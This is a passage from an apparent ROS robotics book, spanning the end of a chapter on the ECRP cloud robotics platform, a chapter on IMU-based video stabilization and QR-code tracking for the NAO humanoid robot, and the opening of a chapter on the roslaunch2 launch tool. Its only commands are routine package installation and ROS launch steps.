The already mentioned Google cloud robotics platform is, at the time of writing,
still not available, and the limited information about it seem to refer mainly to a
collection of robot-accessible services to simplify robotic applications development
(e.g., mapping with cartographer, AI/ML for speech recognition/vision). Here also,
there seem to be no addressing to building a PaaS to actually manage robotic appli-
cations. The same can be said about any non-robot manufacturer listed in a recent
Cloud Robotics Market forecast.39

Orchestration ECRP approach to orchestration consists in a two-pronged approach
that combines resource orchestration and service composition in a seamless way
to achieve modular and recursive composition. Furthermore, a novel feature is the
ability to resolve dependencies, some of them depending on real-time state, based
on matching of Desired State and Actual State.

Orchestration in ECRP offers automation across the complete life cycle of a
service where the service metaphor has been adapted to a cloud robotics task. Con-
sidering for instance a robotic security patrol task, the task administrator can design
and implement it by specifying the needed resources (e.g., how many robots and of
which type, what ROS nodes and where to run them) and the logic managing the task
at runtime (e.g., deciding the navigation waypoints for each robot, the processing of
camera streams as robots approach selected areas).

Once a patrol task is defined as a service and its Service Manager is deployed,
any authorized user can trigger a robotic patrol (i.e., a service instance) and config-
ure it with a click. The service orchestrator will acquire and coordinate all needed

38http://www.theconstructsim.com/
39https://www.openpr.com/news/1218813/Global-Cloud-Robotics-Market-trends-and-business-
development-strategies-forecast-by-2025-with-top-player-analysis-Amazon-Robotics-Google-
Huawei-Technologies-IBM-Microsoft-C2RO-Cloud-Robotics-CloudMinds-Technology-Inc-
Ericsson-Rockwell-Automatio.html
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resources, manage the runtime execution of the task, and dispose or release (e.g.,
sending robots back to their charging stations) all needed resources once the task is
completed. The task will typically include resources, ROS control and application
software components. The amount of parametrization and adaptability of a task is
programmable, so that even tasks requiring a high degree of configuration and adap-
tation (e.g., responding to the triggering of an alarm by sending a group of robots to
collect information) can be easily implemented and triggered automatically through
an API.

For instance, such a task could only require as input the location and severity of
the alarm and then the application logic could programmatically decide how many
robots to dispatch, from where, and using which navigation paths. Exposing resource
and service orchestration as programmable APIs to be leveraged by the application
logic to perform generic robotic tasks at runtime is a concept transcending current
robotic practice and research and is a key enabler of future self-managing robotic
applications.

Cross-Domain Container-Based Runtime ECRP is built on top of a container
management solution which supports running applications spanning not only data
center nodes, but also edge computing and mobile robots. Currently kubernetes relies
on a the consistency of the backing datastore (etcd) that is optimized for low latency
and high throughput. Network spikes cause it to undergo leadership transitions and
may lead to faulty results in case of network partitions.

The described design requirements for this imply higher latency and finding alter-
native solutions to build the distributed management functionality over the physical
cluster. Moreover, it implies adopting novel recovery policies for health management
than in the cloud as failures in the robotic domain require remediation involving other
robots rather than simply restarting a container elsewhere.

With the introduction of said feature it becomes necessary to support the execution
of containers on different CPU architectures such as x86 (e.g., in the cloud and edge)
or ARM (e.g., on mobile robots) which result in different binaries. This requires
specialized handling of the created container images during container images creation
and distribution. As already mentioned, this is fully supported in the commercial
implementation of ECRP.

ROS 1.0 design relies heavily on the availability of the ROS Master which suffers
from degradation and possible disruption when used over intermittent networks.
The multi-master solutions that exist make trade-offs and offer lower guarantees
of consistency, for which ECRP uses multiple single-mater ROS environments as
federations. Additionally, they are not resilient in case of failure and often rely on
internal data structures running in the process instance.

These two qualities alone make it suboptimal for a production grade environment.
ROS2 attempts to solve these issues to an extent; however, it is still currently a work
in progress and lacks wider adoption in the ROS community. Additionally it does
little to solve the issues dealing with subnets, NAT traversals and remote subnets. We
believe from inception of the project that it was imperative for the ECRP to treat the
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ROS environment as a first class citizen in ECRP and use the same underlying tools,
backing databases and network infrastructure that our platform uses to guarantee
seamless resiliency, scalability and availability for the core ROS environment.

Middleware and Applications Services Enablement ECRP advances the concept
of platforms for robotics to integrate a commercial-grade open domain-specific ser-
vice catalog which can be used to drive innovation further through truly collaborative
development in robotics.

A key is the ECRP Device and Service Catalog which allows for centralized
and distributed publication, offering, purchase, and commercialization of basic ROS
services, as well as more advanced Value-Adding Services (VAS) provided by third
party developers.

One particular feature of this catalog is that it presents also state of services.
Services (ROS and VAS) provided as integral part of the platform are stored in a
service repository, while third party services do not necessarily need to be hosted
by a ECRP instance, but can be hosted anywhere, a description (functional and
nonfunctional) of the service endpoint and its quality features is sufficient.

This concept goes clearly beyond the current SoTA, since it enforces not only a
common interface, but involves the platform provider as a quality gate and enforces
a provider-set level of quality and hence ensures different levels of trust into services
provided, especially those by third-parties. Such a concept is currently entirely absent
in the robotic community, and the only element that comes anywhere close to this is
a website with a collection of software repositories of code contributions by different
sources. This lack of any quality certification has been identified as one of the top-
most issues by the ROS-Industrial consortium and only partially addressed by the
RosIn project.

Software Management, CI/CD, DevOps ECRP requires a novel and unique
approach, the ECRP Software Build Process, due to the different nature of the ser-
vices and components (immaterial and physical) it deals with.

First of all, software updates/deployment of new software on robots needs to be
simple and safe. This requires update support while not in operation (e.g., while
recharging) using immutable images or change-sets (similar to OTA updates for
phones) for the OS and ECRP enabling components. Containers running ROS appli-
cation logic instead can be updated through ECRP Orchestration and possibly even
while in operation if required.

A second aspect that needs to be considered is that customers and robots will
be running different versions of clients accessing APIs. It is important for ECRP
Software Build Process as well as the ECRP Code and Container Repository to
help in supporting multiple versions of the same code and simultaneously easing the
process of updating clients to the latest version. Finally, when a developer builds a
new software version and pushes it, rolling updates without downtime are needed to
address the two cases above.
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5.2 Experience and Future Challenges

We discussed specific challenges with respect to hardware heterogeneity, cloud
billing models, optimal component placement, and configuration dependencies in
our previous work [29] where we also related on our own experience with respect
to cloud latency. In this paper we address other, more platform-design related, chal-
lenges.

Robot-Aware Cloud Networking ECRP will introduce ROS Native Mobility and
Service Routing Features. The plan is to add these features to the DDS/RTPS protocol
standard. In order to do so, we will modify and extend the discovery protocol of
RTPS to allow IP changes in both local and remote peers, and we will create a novel
Pub/Sub routing service incorporating this feature. These extensions are planned to
be implemented in eProsima Fast RTPS, working towards their standardization at the
OMG. The solution will solve also the issue of NATing in moving networks, such as
robots changing access points, and will be able recover from temporal disconnections.

Distributed Storage ECRP has the goal to perform an extensive aggregation and
consensus of robotics knowledge representation by working with domain-experts to
propose the a standard for Robotics Knowledge Representation. This step will also
include developing conversion modules that makes it easy for the transition from
existing scattered work. Further, ECRP will build a storage solution that supports
the above developed standards and a general framework which allows developers
to deploy data processors instead of moving the data to a different location to do
the processing. Extending the above storage solution to a multi-tier multi-tenant
storage solution that spans across data centres, micro data centres, network edges,
and robots will be another advancement. The developer should flexibly configure the
deployment of data based on the customer requirement (e.g., privacy), the available
network and input/output (I/O) constraints.

Deployment Models Fig. 3 deliberately shows a scenario where no computation is
happening on the edge components. ECRP supports both scenarios in which the
platform is deployed in the cloud and through the cloud controls robots and edge
devices, as well as a complete on-premises model in which the platform can be
directly installed on edge systems. Given the more complex nature of the latter
configuration, we assume it would not be deployed for consumer robotics scenarios.
Finally, the platform can also be installed on premises using cloud hosts to extend
local computation capabilities.

Composition and Reuse We already discussed how the concept of service can be
composed to enable the instantiation of a service that deploys all the (sub) services
it requires. In RoboPatrol, this service composition is done programmatically, that
is one application component (i.e., “application logic” in Fig. 3) has access to the
service catalog and uses its API to instantiate the services needed by the application
at runtime (e.g., navigation, mapping). In its own turn, the service broker of the nav-
igation service takes care of configuring the cloud bridges and instantiating all the
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components the service requires: three on the robot and one in the cloud. Our imple-
mentation of ECRP only supports programmatical composition, however, together
with Rapyuta Robotics, we have also been working on declarative composition which
is supported in rapyuta.io through the concept of packages.

With declarative composition, similarly to what can be done with TOSCA or
Openstack Heat, rather than programming the composition logic within the applica-
tion or by providing a service broker instance, a developer can use a YAML-based
descriptor (or a GUI template) to indicate a list of required components or services that
will be created on service instantiation. Some components (e.g., the map-publisher
in our navigation example) could be shared and reused by other service instances, for
example while controlling two or more robots on the same map. Declarative com-
position allows READs to specify service compositions without necessarily having
to deal with the intricacies of service brokers.

Multi-robot Support Multi-robot support in ECRP is not directly addressed beyond
what is currently supported using ROS namespaces. Cloud bridges support concur-
rently relaying messages belonging to multiple namespaces, hence can be used to
design multi-robot applications. Clearly, some components need to be namespace-
aware and either statically configured to know which namespaces to use or need to
use dynamic discovery of relevant namespaces and topics.

For instance, if we wanted to extend RoboPatrol to support multiple users driving
multiple turtlebots on the same map, we would need to configure the bridges and
the navigation service instance for each robot with a different namespace. Finally,
the Web UI component would have to be extended to both send a namespace-bound
navigation goal according to the controlled robot as well as visualize all robots on
the map concurrently.

Multi-tenancy and RBAC In cloud computing, multi-tenancy refers to the fact that
a resource (e.g., a service, a platform, a server) is shared across multiple tenants,
where a “tenant” is a group of roles/persons in the same organizational unit (e.g., a
customer company, a division, a development team). The current version of ECRP
does not explicitly support multi-tenancy, while rapyuta.io supports it natively. Sev-
eral aspects concerning multi-tenancy would need to be addressed in ECRP both
with respect to code execution in the cloud (e.g., runtime execution isolation through
placement constraints, broker and network isolation) as well as on devices and edge
(e.g., per-tenant deployment of device management services). Particularly complex
is also the aspect of bringing role-based access control (RBAC) to physical devices
such as robots, for instance for what concerns concurrent use. One example would
be allowing multiple users to access the camera streams from the same robot, but
only allowing one user at a time to control movement. While RBAC issues can be
addressed and solved at application level, we believe ECRP should provide platform-
level principles and primitives to deal with RBAC issues since they are intertwined
with device management and orchestration (e.g., a navigation service instance lets
an application control a robot).
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ROS2 and DDS We started designing ECRP when ROS2 was not yet available,
however the only component requiring an update is the cloud bridge that, as by ROS
specification, currently relies on the ROS master to discover services, topics, their
providers and subscribers.

Given the fully distributed nature of ROS2,40 a different discovery mechanism
needs to be in place. This is somewhat trivial for discovering ROS nodes on a single
host or in a local network, but requires a different mechanism on cloud nodes where
in general multicast communication is not supported.

The typical recommended solution in lack of available discovery mechanisms
is peer configuration. In Kubernetes this can be implemented in several ways, for
instance using headless services and DNS, configuring ROS nodes through environ-
mental variables at startup, or accessing the Kubernetes API to implement discovery.

Security A final word on security. The ECRP project did not address advancements
in security concerning cyber-physical systems beyond the current state of the art. In
other terms, we relied on mechanisms for authentication and authorization currently
available for PaaS solutions.

We are however aware of the novel security issues that connecting cyber-physical
systems to networks imply, and are following the research contributions in the area
(e.g., https://robosec.org/ [21]).

6 Conclusion

This chapter presents the state of the art of cloud robotics with ROS and provides the
motivation for building ECRP, a Platform as a Service (PaaS) solution for ROS-based
cloud robotic applications development.

We define the requirements and assumptions that drove the design phase of the
solution, discuss the architecture, and relate on our current experience and open
challenges.
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Video Stabilization of the NAO Robot

Using IMU Data

Oswualdo Alquisiris-Quecha and Jose Martinez-Carranza

Abstract The implementation of a video stabilization system of the NAO robot is
presented through the data of the IMU, this stabilized image is used to detect and track
QR codes. Once the QR code is located, the NAO robot tracks and monitors it. The
system was developed under the ROS platform, with modules implemented in C++
and Python languages. The system provides data for subsequent processes, which
need to use video data for object recognition, task tracking, among others. Can get
sequences of stable images and with the least amount of vibrations or sudden move-
ments. One of the main benefits of this work is the visual tracking of objects through
stable images during walking of the NAO robot, which introduces an erratic motion
of the head camera, the effect that is mitigated with the digital visual gyrostabilized
method presented in this work.

Keywords NAO · Gyrostabilization · Homography · IMU · QR

1 Introduction

Within robotics, one of the main challenges is based on the need to obtain clear
and vibration-free image sequences so that the image can be analyzed correctly,
better results from subsequent processing. In most cases, obtaining ideal images is
not always possible, due to multiple unforeseen events such as changes in lighting
and unwanted movements of the capture that consequently hinder processing. In
particular, the tasks of navigation, location, and tracking of objects based on vision
techniques cannot be performed reliably when the reference points are blurred, poorly
focused or disappear from the camera view due to strong vibrations. There is a need
to counteract them and try to maintain a certain stability in the capturing of images
and video.
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Currently, there are various stabilization algorithms both in hardware and a greater
number in software, where the stabilization process is performed by estimating move-
ment and compensation thereof, where in general terms it is to identify which move-
ments (may be of the translational, rotational type, among others) occur between
two consecutive images [7]. These implementations try to reduce the vibrations of
the image due to movement, usually the stabilization techniques are classified into
two main approaches: optical stabilization (in which a mechanical system physically
compensates for the involuntary movement of the camera to avoid vibrations), and
digital stabilization (where the improvement is made by modifying the image by
software). In digital stabilization, the process is divided into two stages [2], the first
stage consists of the estimation of the movement of one image with respect to another
in the same sequence, and the second stage involves the processing and calculation of
the compensation of said movement to obtain as output a sequence of stable images.

The system proposed here is inspired by the natural way in which the human eye
obtains information from the environment and performs the automatic digital stabi-
lization process, which means that vision is not affected by vibrations and movements
(for example when walking or running). the brain obtains clear information about the
environment and objects or areas of interest for processing. Under this idea, the pro-
posal of stabilization in sequences of images of the upper chamber of the NAO robot
is presented. This work is based on what is proposed by [6], in which an algorithm for
video stabilization based on data from the Inertial Measurement Unit (IMU) onboard
an unmanned aerial vehicle (UAV, also referred to as drones) is presented. By using
only the data from the IMU for stabilization, considerable results are obtained in
terms of processing speed compared to implementing conventional techniques, as
well as a reduction in computing power required for processing.

The fundamental objective is to provide to subsequent processes that need to
use the video data of the robot for object recognition, tracking tasks, among others,
without the need to implement additional hardware, they can obtain, as input data,
stable image sequences with the lowest number of vibrations or sudden movements,
thus ensuring better results in the implementations. One of the purposes of this
chapter is to allow anyone with a similar problem (a robot of any kind and purpose
that has cameras and an IMU, and need image stabilization) count on a ROS package
that would simplify the implementation of such digital image stabilization.

In this chapter, we will cover the following topics:

– First, we show in the Sect. 2 the background of the video stabilization problem
and the solutions proposed in other works

– Second, in the Sect. 3 we present the proposed methodology and the parts it
contains

– Third, in the Sect. 4 we show how to download, use and test the ROS package.
The links referring to the source code are provided.

– Fourth, The results obtained through the execution tests of the ROS package are
shown in the Sect. 5

– Fifth, Finally in the Sect. 6 the conclusions obtained from the work are broken
down, the future works are proposed to improve the ROS package
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2 Background

Under the idea of stabilizing images or videos in robotic systems with the help of
devices such as the gyroscope or the IMU sensor, several works have been proposed,
as in [8] where a digital image stabilization system based on a KLT tracker(Kanade-
Lucas-Tomasi) and an IMU is presented. To estimate more accurately the movement
between two frames of consecutive images, the characteristic points were used that
were discovered by the KLT tracker and the IMU. The initial movement estimated
with the IMU was incorporated into the KLT tracker to improve the speed and accu-
racy of the tracking process. In addition, a Kalman filter was applied to eliminate
unwanted movement of the camera. The experimental results showed that the pro-
posed system has the characteristics of high speed and precision in various conditions.

On the other hand, in [1] it is proposed the development of a software video
stabilization algorithm without additional mechanical elements in the system, to
be used in real time during drone navigation. The developed algorithm is able to
obtain a stable image and simultaneously maintain the real movements. According
to their experiments and the evaluation metrics used (Inter-frame Transformation
Fidelity, ITF and root-mean-square error, RMSE), they recorded good results of the
algorithm compared to L1-Optimal applied in the YouTube Editor, an algorithm
based on smoothing of movement and the Subspace video stabilization algorithm
used in Adobe After Effects.

In applications for recording aerial photographs with autonomous vehicles, sta-
bilization techniques have been used, utilising IMU data for the design and imple-
mentation of a gyrostabilizer as in [5], where the design of a gyrostabilizer that can
be used for the registration of aerial photographs is presented. The detection of the
inclinations is based on an IMU of six degrees of freedom that is supported by a
three-axis gyroscope and a three-axis accelerometer. A platform controlled from a
microcontroller by servomotors is used for self-stabilization purposes. The design
focuses on the development of an autonomous platform that can be adapted to aerial
vehicles to complement remote sensing applications.

Similarly, [10] presents a Digital Image Stabilizing Algorithms for highly dynamic
mobile robotic platforms. The algorithm combines the estimation of optical flow
movement parameters with angular velocity data provided by an IMU. A discrete
Kalman filter is used in the forward configuration for an optimal merging of the two
data sources. Performance evaluations are carried out using a simulated video model
and test data in real videos while navigating a corridor.

A real-time video image stabilization system developed mainly for aerial robots
is presented in [11] where its proposed architecture combines four independent sta-
bilization layers. Layer 1 detects vibrations through an IMU and performs external
counter-movements with a motorized gimbal. Layer 2 dampens vibrations by the
use of mechanical devices. The internal optical stabilization of the camera image
represents Layer 3, while Layer 4 filters the remaining vibrations using the software.
It is obtained that the system significantly improved the stability of unstable video
images in a series of experiments.
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Finally, an algorithm for video stabilization based only on IMU data from a UAV
platform is presented in [6]. The results show that the algorithm successfully stabi-
lizes the flow of the camera with the additional benefit of requiring less computational
power. It should be noted that this work is taken as a basis to develop the present
project.

3 Methodology

The methodology used to carry out the present work is shown in Fig. 1. It shows the
way in which different modules developed in C++ and Python language communicate
through a common channel under ROS.

The process of operation starts getting the data of the sequence of images of the
upper chamber of the robot NAO (the NAO robot has two cameras located on its
head, the lower chamber is located at the mouth of the robot and the upper chamber
is located at the height of the robot’s forehead). The sequence of images are processed
by the gyrostabilization module in conjunction with the data obtained from the IMU,
whose output is used by the tracking module of a QR code. The control module
analyzes the image of NAO with respect to the QR code to generate the appropriate
movement for the NAO robot to move towards the QR code and tracking it (which
is the main objective of the robot).

It should be noted that the advantage and main reason for using ROS is the
versatility of generating autonomous modular processes that are able to interact with
each other through messages as well as their ease of implementation.

Fig. 1 General methodology
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3.1 Gyrostabilization Process

The goal of the gyrostabilization with the NAO robot is to obtain a video sequence in
which there is the least change between possible frames, due to sudden movements of
the camera. To achieve this, the construction of a homography matrix is implemented
using the data from the IMU, which is shown in the Eq. (1).

H = K RK −1 (1)

Where:

– H is the homography matrix that represents the difference in perspective between
two images that observe the same object.

– K represents the camera matrix or projection matrix which is involved in the
mapping between the elements of two projective spaces, that is, it describes the
mapping of the 3D points in the world to 2D points in an image. This matrix
can be obtained by a method of calibrating the camera, for example, based on a
chessboard pattern of a known size for estimating the intrinsic parameters of the
camera and the lens distortion coefficients. Based on the pinhole camera model,
the projection matrix is described in (2).

K =





fx 0 cx

0 fy cy

0 0 1



 (2)

Where fx , fy are the focal lengths of the camera and cx , cy represents the optical
center in pixel coordinates.

– R represents the relative orientation between frames. To estimate the orientation
of the platform, through the angles roll, pitch and yaw (φ, θ,ψ) obtained from
the IMU,a complementary filter has been used, this algorithm has the form of a
low-pass filter which has the advantage of reducing the noise and drift produced
by the sensors, reducing the delay in the estimation of the angle and does not
imply an excessive cost in time of the process.

K =





a b c

d e f

g h i



 (3)

According to the structure of a homography matrix of size 3 × 3, the content data
of the red color represents the rotation of the image. The data on the blue contents
represent its translation and the content data within the green color represent the
scale or perspective of the image, see Eq. (3).
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3.2 Complementary Filter

The IMUs are devices that with a little trigonometry can give an angle with total
accuracy. Its advantage is that it combines the data of the accelerometer and the
gyroscope very well compensating the limitations of the other, since the accelerom-
eters do not have drift in the medium or long term, however, they are influenced by
the movements of the sensor and the noise, so they are not reliable in the short term.
On the other hand, gyroscopes work very well for short or abrupt movements, but in
the medium or long term, they have drift.

In order to obtain reliable data, it is necessary to eliminate the noise and drift, by
means of a filter, and ensure that the accelerometer does not change its angle when
detecting a force other than gravity. To solve this, there are several options, one of
them is the complementary filter, which can be considered as a simplification of the
Kalman filter that completely dispenses with statistical analysis.

The complementary filter behaves like a high-pass filter for gyroscope measure-
ment and a low-pass filter for the accelerometer signal. That is, the gyroscope signal
is sent in the short term and that of the accelerometer in the medium and long-term.
The complementary filter equations with gain α (which is a constant to calibrate the
filter) in a period of time �t , for the roll φ, pitch θ and yaw ψ angles are shown in
the Eqs. (4), (5) and (6) respectively.

φk = (1 − α)(φk−1 + φk�t) + αφI MU (4)

θk = (1 − α)(θk−1 + θk�t) + αθI MU (5)

ψk = (1 − α)(ψk−1 + ψk�t) + αψI MU (6)

3.3 The Humanoid Robot NAO

The humanoid robot NAO created by Softbank Robotics (previously Aldebaran

Robotics) (see Fig. 2a) is an open architecture device commonly used for educa-
tional and research purposes. The main software that runs on the NAO robot and
which controls it is the Naoqi, which is a multiplatform and multilanguage system.
Within its main features it has 57.3 cm in height, 27.3 cm in width and a weight of
4.3 kg, integrates a lithium battery of 21.6V 2Ah which allows a range of up to 90
minutes of use.

It has a total of 25 degrees of freedom (dof) of which are distributed as follows
[9]: in the head (2), arm (12), waist (1) and leg (10). The joints of the arms and legs
are symmetrical to the left and right. There are sensors (32) with Hall effect that
measure the rotation of the motor with a precision of 12 bits, that is, the degree of
accuracy is 0.1, it has contact sensors (3), infrared sensors (2), ultrasonic sensors (2),
2-axis gyro sensor (1), 3-axis acceleration sensors (2), decompression sensors (8)
and bumpers (2). It also has cameras (2), microphones (4) and speakers (2) for image
and voice processing. The movements of the NAO are governed by three general axes
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(a) NAO Robot (b) Reference system

Fig. 2 NAO humanoid robot. Source: NAO Documentation

(see Fig. 2b). According to the convention of signs, given a joint that joins two parts
of the body of the robot, the part of the body that is closest to the trunk is considered
fixed and the part of the body that is farthest from the trunk is the part that rotates
around the body axis of the joint.

4 Set-Up NAO

In this section the necessary information for the configuration referring to the codes
and the compilation thereof is presented.

The source codes used in the project are stored in a GitHub repository at the fol-
lowing link: https://github.com/Oswualdo/Video-Stabilization-of-the-NAO-robot-
using-IMU-data, in the repository the information is presented as reference to the
compilation and execution process of the developed program. The tests were per-
formed on the Ubuntu 14.04 LTS (Trusty) release operating system, using the ROS
Indigo Igloo system.

The communication process between the ROS and Naoqi system is done through
a Python file where the control of the NAO robot is carried out by means of the
information related to the QR code tracking, this code is included in the previous
repository.

Similarly, a link is provided regarding a demonstration video of the project,
which is available at the following link: https://www.youtube.com/watch?
v=YmyTGxKKcRo&t=6s.

The following summarizes the steps for using the package.
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4.1 NAO-ROS Configuration

In the following link you can find the official page for Naoqi and the robots of
Aldebaran where they provide the necessary configurations to be able to use the
NAO robot under ROS. Therefore, it is necessary to follow the steps detailed there:
http://wiki.ros.org/nao. Necessary dependencies: It is necessary to install by terminal
the following:

– sudo apt-get install ros-.*-nao-robot
– sudo apt-get install ros-.*-nao-extras
– It is also necessary to include the following in the workspace: naoqi_driver,

naoqi_bridge, nao_description, which are in the following link: http://wiki.ros.
org/nao_bringup.

4.2 Usage

Having everything configured, we proceed to compile the codes using the command
catkin_make.

To start the robot bringup, simply run:

– C++:

• $ roslaunch nao_bringup nao_full.launch nao_ip:=<robot_ip>roscore_ip:=
<roscore_ip>

Alternatively you can make use of the python SDK, which has to be installed and
correctly setup in your PYTHONPATH environment variable.

– Python:

•$ roslaunch nao_bringup nao_full_py.launch nao_ip:=<robot_ip>roscore_ip:=
<roscore_ip>

To execute the stabilizing video, it is necessary to launch the following:

– $ rosrun image_viewer image_viewer

Finally, to execute the control of the NAO for the follow-up of the QR code, the
following is launched (the file is inside the python_control folder):

– $ python operar_nao.py

5 Results

The tests are performed using the NAO robot whose characteristics are described
in Sect. 3.3, which integrates two RGB cameras model MT9M114 located in the
head of the device, using a configuration with a resolution of 640 × 480 pixels,
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where only the upper camera of the robot is selected and used because the camera
field of vision is usually used for navigational tasks instead of the lower chamber
where the vision of the camera focuses on the ground and nearby objects. The IMU
sensor that integrates the NAO robot consists of two axis gyrometers (5% precision
with an angular speed of 500◦/s) and a three axis accelerometer (1% precision with
an acceleration of 2G). With respect to the computer used for the tests, a DELL
Inspiron Gaming 15-5577 Laptop with Intel Quad-Core i5 7300HQ 7th generation
(up to 3.50 GHz), 8GB DDR4 DRAM memory, NVIDIA GeForce GTX 1050 4GB
VRAM is used.

To validate the developed system, various tests are performed with changes in the
direction of movement of the NAO robot in an initial position in which the robot
is fully upright while it detects a QR code. During the tests, the different operation
modules are executed together and communicate through a ROS channel. In these
tests, the functioning of the system can be evaluated in a controlled manner.

Figure 3 presents the visualization of a dynamic graph of what is happening in
the system as well as the nodes that the system executes when operating, in the same
way, you can observe the passing of topics between them. This serves to graphically
visualize what is happening with the program during its execution.

Figure 4 shows the result of rotating the whole body of the NAO robot to the
left in 45◦. Where in Fig. 4a the original image of the robot’s upper camera is shown
without the application of any additional operation in contrast to the Fig. 4b, in which
the gyro stabilization process is used.

In this image, the result of our method is shown. Where it is possible to observe
that the system compensates for the movement detected by the IMU sensor, obtaining
as a result, a stabilized image.

Figure 5 shows the result of tilting forward the complete body of the robot. In
Fig. 5a the original image is shown and in the Fig. 5b the image is presented to which
the stabilization process is applied. It can be observed that the system adjusts and
compensates the movements of the robot and generates the stabilized image with
which the robot performs the tracking process of the QR code.

Likewise, the test is performed to tilt back the complete body of the robot in which
in Fig. 6a the original image obtained from the upper chamber of the NAO is seen and
in Fig. 6 b the result of applying the stabilization system to the image is contrasted.

To try to visualize all the possible movements of the NAO robot, the robot’s entire
body moves to the right at an approximate 45◦ incline where it is possible to observe
in Fig. 7a the original image obtained from the robot’s camera without applying any
additional processing. In the Fig. 7b the resulting image is observed when applying
the stabilization system, in it, it is observed that the system tries to conserve and
compensate the movement of the robot.

It is important to note that during the experiments, the robot was rotated manually
to tilt and rotate angles in order to test the data limits and the IMU algorithm.

It is clear only through visual inspection that the system successfully stabilizes the
video input. While there is residual noise in the stabilized results shown in Figs. 6b
and 7b, it is due to the data obtained from the IMU which contains a large amount of
noise and drift (see Fig. 8). Therefore the application of the complementary filter is
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(a)Control

(b)getdataimagefromNAOrobot

(c)Giro-Stabilizer

Fig. 3 Communication between nodes in ROS

(a) Original image (b) Rectified image

Fig. 4 Rotate to the left at 45◦ of the NAO
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(a) Original image (b) Rectified image

Fig. 5 Tilt forward of the NAO

(a) Original image (b) Rectified image

Fig. 6 Backward tilt of the NAO

(a) Original image (b) Rectified image

Fig. 7 Rotation to the right at 45◦ of the NAO
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(a) Original IMU data (b) Filtered data IMU

Fig. 8 Comparison between data of the IMU

(a) Time t=0 (b) Time t=1 (c) Time t=2

Fig. 9 Unstabilized image sequences

(a) Time t=0 (b) Time t=1 (c) Time t=2

Fig. 10 Sequence of stabilized images

implemented, however, the result of the filter was not enough to obtain stable images,
that is, it was only possible to reduce a certain amount of noise, which is why it is
necessary to implement another additional strategy for filtering the data of the IMU.

An important point to note is that due to the location of the camera in the NAO
robot, which is at a point of great instability to perform any movement by mini-
mum that is by the robot. The image is seriously affected by vibrations and sudden
movements.
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(a) QR code detection (b) QR code estrangement (c) Tracking the QR code by
the NAO robot

Fig. 11 Frontal tracking process of the QR code

(a) QR code detection (b) Turn/move QR code

(c) Follow up of the QR Code spin
       by the NAO robot

(d) Tracking the QR code by the
             NAO robot

Fig. 12 Turning tracking process of the QR code

In addition, tests were carried out using different movements: rotations and changes
in the direction of the robot’s vision focus. The real viewing examples for the recog-
nition and tracking of a QR code by unstabilized data and the stabilized data are
shown in Figs. 9 and 10, respectively

In the Fig. 11 it can be seen the execution of QR code tracking, to check the system
the QR code moves away from the focus of the NAO camera. With this action the NAO
robot, using the three developed modules (gyro-stabilization, tracking and control),
moves to track and not lose sight of the QR code.

In the same way, tests are carried out to verify the system by moving the QR
code in random directions. In Fig. 12, the user moves the QR code backwards and he

akoubaa@coins-lab.org



160 O. Alquisiris-Quecha and J. Martinez-Carranza

turns it to the right of the camera of the NAO robot, the robot tracks it thanks to the
gyro-stabilization of the image, since the NAO robot generates abrupt movements
in the head, location where the camera is. Without the gyro-stabilization process the
tracking task would be affected by the amount of vibration existing in the images
acquired by the NAO robot.

6 Conclusions and Future Work

A video gyro stabilization system was developed for the NAO robot using the data
from the IMU sensor incorporated in the robot, using the ROS system as its main
tool, due to the advantages it offers, as well as the existing control for the use of the
NAO robot under this environment. The stabilization generation with the IMU sensor
has as its main advantage that the processing is considerably reduced with respect
to the conventional stabilization method using software. The latter is due to the fact
that it does not require feature detection processes or iterative methods, for which
it uses very little computing power, having the advantage of being easily executed
on board the NAO robot. In contrast to conventional digital stabilization algorithms,
which often have narrow fields of view, they even discard data to gain stability. With
the stabilization of images, mechanisms are provided so that later processes that
require such images as input data, for example, object recognition, video navigation,
tracking tasks, among others, can generate better results in their implementations or
processing, since the input data have the lowest possible amount of noise such as
vibrations or sudden movements.

The use of the IMU sensor to obtain the homography matrix presents a great
advantage over conventional methods, where the obtaining of such matrix is done by
processing video sequences in which the computational cost grows and the processing
time is slower, due to the different transformations and comparisons that are applied
to each frame.

Similarly, using the data from the IMU for the stabilization of the image obtained
from the robot provides an optimal way to achieve the objectives without the need to
add additional hardware to the robot, which would imply greater weight on board and
therefore would require greater energy consumption for its operation, considerably
reducing the autonomy time of the device.

It is clear only through visual inspection that the system successfully stabilizes
the video input, the above by means of a series of experiments carried out with the
NAO robot. A random movement is generated by a user while the NAO observes
and tracks a QR code, what verifies the robustness of the gyro-stabilization system,
obtaining stable images even when it is induced movements that the robot could not
generate autonomously.

For practical reasons the system was developed under a modular approach, which
is why it is possible to generate a free package for ROS for its use in tasks whose
purposes are similar to what is presented here or in applications involving the use of
systems view.
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The purpose of using the ROS system is due to the practicality of generating
modules for each problem, that is, the general problem can be divided and tacked
into simpler subproblems in which it is possible to modify its structure without
affecting others, through it modularity and its advantage of code reuse.

As future work, we intend to implement a Kalman filter to eliminate the unwanted
movement of the camera as in [3, 4]. In the same way, it is intended generate the
necessary mechanisms for the fusion or combination of the physical IMU sensor and
visual features. This is because the location of the camera inside the NAO robot is in
a very unstable position when performing movement operations, which is why the
gyro stabilization process is not enough. Therefore it is necessary to explore other
measures to obtain more stable images, such as the compensation of movement with
turns in the head of the robot to compensate for the movement of the whole body.
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roslaunch2: Versatile, Flexible

and Dynamic Launch Configurations

for the Robot Operating System

Adrian Böckenkamp

Abstract This chapter will present the new roslaunch2 tool and its underlying archi-

tecture and associated API. It is a pure Python-based ROS package that facilitates

writing flexible and versatile launch modules in the Python programming language

both for simulation and real hardware setups, as contrasted with the existing XML

based launch file system of ROS, namely roslaunch. Note that roslaunch2 is not (yet)

designed and developed for ROS 2 but for ROS 1 only although it may also inspire

the development (of the launch system) of ROS 2. It is compatible with all ROS ver-

sions providing roslaunch which is used as its backend. roslaunch2 has been tested

and heavily used on ROS Indigo, Jade, Kinetic, and Lunar; it also supports a “dry-

mode” to generate launch files without ROS being installed at all. The key features of

roslaunch2 are versatile control structures (conditionals, loops), extended support for

launching and querying information remotely, an easy-to-use API for also launching

from Python-based ROS nodes dynamically, as well as basic load balancing capabil-

ities for simulation setups. The chapter also contains various examples and detailed

explanations to help to get started launching ROS nodes using roslaunch2. The BSD

licensed code is fully documented with Sphinx and can be found on GitHub (https://

github.com/CodeFinder2/roslaunch2.).
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1 Introduction

Given the rospy client API, ROS can already be considered as being “pythonic”.

Notably, many tools (like rqt, rostopic and roslaunch) are written in Python which

also suggests having a Python-based launch configuration system. In fact, when

reviewing the history of roslaunch’s syntax, keywords, and features, it becomes

obvious that more and more “Python related” functionality was added over time,

e. g, the $(eval <expression>) syntax since ROS Kinetic Kame.

